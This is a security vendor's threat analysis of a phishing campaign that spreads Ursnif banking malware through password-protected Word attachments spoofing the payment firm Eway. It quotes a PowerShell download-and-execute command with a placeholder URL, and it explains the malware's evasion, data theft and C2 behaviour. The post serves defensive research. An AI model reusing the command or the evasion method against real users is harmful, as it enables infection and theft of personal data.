Wave of Ursnif Variants Leveraging Password-Protected Documents Continues to Spread Worldwide
We are experiencing a surge of attacks, across the globe, by the banking and spyware family Ursnif. As recently described in the blog My Online Security, the attackers send phishing emails pretending to originate from the Australian online payment company Eway. This campaign dates back to mid-February, at the latest, having compromised victims in North America, Western Europe, Australia and Japan.
The emails contain a password protected Word document (docx). The password is found in the content of the email, which encourages the victim to open the document using the password. Since the original document attached is password protected, it evades detection by AV, anti-malware or sandboxing solutions. The sender, subject and content of the emails are all highly similar: the email is sent from an address in the newly registered domain ewaystore.info, the subject updates on the receipt of an approved order or purchase. Here is an example of one of the emails’ content:
[caption id="attachment_2135" align="alignnone" width="627"] Figure 1 – the content of the email[/caption]
Once opened, the Word document displays pictures of PDF and EXCEL icons (supposedly containing a receipt) and upon clicking, invokes a PowerShell command that downloads and runs a malicious executable:
%ComSpec% /C PowerShell (New-Object System.Net.WebClient). DownloadFile ('https://%URL_CONTAINING_PAYLOD%','%FILE_NAME%');Start-Process '%FILE_NAME%'
In most of the cases that we have observed, the executable downloaded by PowerShell has the file name “flash.exe” or “player.exe” and carries a flash player icon. Once run, this executable enumerates a long list of registry keys and collects information about the target. The information gathered is meant to assist in evasion, set the ground for persistency and stealth, as well as provide the initial reconnaissance about the target. The malware collects the OS version, product ID, installation date, registers as a top-level exception handler (classic anti-debugging technique), modifies proxy settings, checks for existing Outlook and Windows Live Mail accounts, installed programs, and collects browser history and cache. The information gathered is written as randomly named files in the following location: %users\%user%\AppData\Local\Temp\%file_name%.
The files are deleted after being posted by HTTP post requests on one of the many possible C2 servers.
[caption id="attachment_2136" align="alignnone" width="610"] Figure 2 – a data file created and deleted after posting to the C2 server[/caption]
Communication with the C2 servers is done is SSL:
At this point, a second stage payload is dropped. Some variants will drop the additional executable or DLL after decrypting a section in the original PE and others will download it from a C2 server. In any case, once the second stage payload is loaded, code will be injected to explorer.exe and execution will continue from there:
[caption id="attachment_2140" align="alignnone" width="610"] Figure 4 – DLL dropped and loaded (sha256 716efba2287317a2c7a68947f966e7e6cbae1326cfa217873520330b0f7beb15)[/caption]
An examination of the associated URLs and IP addresses revealed several interesting details. The infrastructure uses separate sets of IP addresses and URLs for dropping the payload (directed to by the PowerShell script) and for communication while the malware runs. The PowerShell directs to several .au domain names. However, they are all resolved to three IP addresses located in the US. The C2s used for communication in runtime seem to vary considerably between different variants. Different variants use different IP addresses and domain names, and the change seems to be consistent with the time different variants that surfaced at. Almost all IP addresses originate from Eastern Europe, predominantly the Ukraine, as well as Romania and Germany. The continuing change in C2’s IP and location is most likely an effort on the attackers’ side to make the infrastructure more difficult to trace. Deep Instinct’s research team has been successful in expanding the number of known IOC’s associated with this campaign.
It seems that Ursnif has come back on the scene, as we are witnessing several active phishing campaigns that are spreading Ursnif variants. A separate campaign spotted recently also uses password protected documents as the initial dropper. In this related campaign, the documents embedded in the initial password-protected dropper, invoke a malicious VBScript which will drop, decrypt and run the payload.
Other than the .docx files, which evade detection, most payloads are not detected by the majority of security solutions for several days after they have appeared in the wild, leaving the door open to attackers to compromise many victims. Deep Instinct’s solution accurately detects all associated payloads by leveraging its strong, deep learning based capabilities to identify new, unseen malware.
Droppers (doc files) SHA-256
Addresses used for serving payload
Malicious Payloads (PE)
Associated Email addresses